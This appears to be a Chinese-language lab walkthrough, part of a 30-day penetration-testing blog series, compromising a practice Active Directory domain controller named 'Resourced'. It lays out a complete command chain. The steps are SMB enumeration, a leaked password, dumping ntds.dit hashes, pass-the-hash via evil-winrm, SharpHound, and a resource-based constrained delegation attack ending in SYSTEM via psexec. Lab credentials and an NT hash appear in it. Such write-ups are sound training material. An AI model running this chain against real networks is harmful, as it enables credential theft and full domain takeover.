iT邦幫忙

2025 iThome 鐵人賽

DAY 27
0

偵查

nmap -sC -sV -p- 192.168.122.175

重點:

  • 典型 AD 服務:53/88/135/139/389/445/464/593/636/3268/3269/3389/5985/9389。
  • RDP banner 顯示網域:resourced.local,主機:ResourceDC.resourced.local(Server 2019)。

列舉(Enumeration)

SMB 使用者與群組

enum4linux -a 192.168.122.175

重點:

  • 網域 SID:S-1-5-21-537427935-490066102-1511301751
  • 使用者清單含描述提示:V.Ventz 描述含密碼片段 HotelCalifornia194!
  • 密碼政策:最短 7、複雜度啟用。

驗證憑證與列出共享

crackmapexec smb 192.168.122.175 -u 'V.Ventz' -p 'HotelCalifornia194!' --shares

重點:

  • 可讀共享:Password Audit、NETLOGON、SYSVOL。

下載可疑備份

```
smbclient //192.168.122.175/'Password Audit' -U 'V.Ventz' \
  -c "recurse ON; prompt OFF; mget *"
```
```
smbclient //192.168.122.175/SYSVOL -U 'V.Ventz' \
  -c "recurse ON; prompt OFF; mget *"
```

重點:

  • 取得 Active Directory/ntds.dit 與 registry/SYSTEM。

漏洞利用(Exploitation)

從 ntds.dit + SYSTEM 匯出雜湊

impacket-secretsdump -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL

重點:

  • 匯出 domain\user:RID:LM:NT 與 Kerberos keys。
  • 將 NT hash 萃取成一行一個,存為 ADUser.hash。

嘗試字典破解

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT ADUser.hash

重點:

  • 未命中可用明碼,改採 Pass-the-Hash。

逐一測試 WinRM(Pass-the-Hash)

crackmapexec winrm 192.168.122.175 -u L.Livingstone -H ADUser.hash

結果:

  • L.Livingstone : 19a3a7550ce8c505c2d46b5e39d6f808 可登入 WinRM。

進入主機

evil-winrm -i 192.168.122.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808
whoami /priv

重點:

  • 有 SeMachineAccountPrivilege(可加電腦帳號)。
  • 取得 User Flag。

提權(Privilege Escalation)

BloodHound 確認路徑(本機執行)

收集:

upload SharpHound.ps1
powershell -ep bypass
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory .

分析:

  • L.Livingstone 對 DC 具 GenericAll(或可走 RBCD 途徑)。

新增受控電腦帳號(需要 SeMachineAccountPrivilege)

impacket-addcomputer resourced.local/l.livingstone \
  -dc-ip 192.168.122.175 \
  -hashes :19a3a7550ce8c505c2d46b5e39d6f808 \
  -computer-name 'chw' -computer-pass 'chw'

驗證:

Get-ADComputer user

設定 RBCD(Resource-Based Constrained Delegation)

python3 /path/to/impacket/examples/rbcd.py \
  -dc-ip 192.168.122.175 \
  -t RESOURCEDC \
  -f 'chw' \
  -hashes :19a3a7550ce8c505c2d46b5e39d6f808 \
  resourced.local\\l.livingstone

重點:

  • 將 user$ 寫入目標 RESOURCEDC$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity。

以 user$ 假扮 Administrator 取票(S4U2Proxy)

impacket-getST -spn cifs/resourcedc.resourced.local \
  'resourced.local/chw$':'chw' \
  -impersonate Administrator \
  -dc-ip 192.168.122.175

hosts 對應:

echo "192.168.122.175 resourcedc.resourced.local" | sudo tee -a /etc/hosts

使用 Kerberos 票據拿 SYSTEM(PsExec over SMB)

sudo KRB5CCNAME=Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache \
  impacket-psexec -k -no-pass \
  resourced.local/Administrator@resourcedc.resourced.local \
  -dc-ip 192.168.122.175

驗證:

whoami
:: nt authority\system

取得 Root Flag。


上一篇
Day 26. Nagoya
下一篇
Day 28. Hokkaido
系列文
滲透測試 30 天:從基礎到實戰29
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言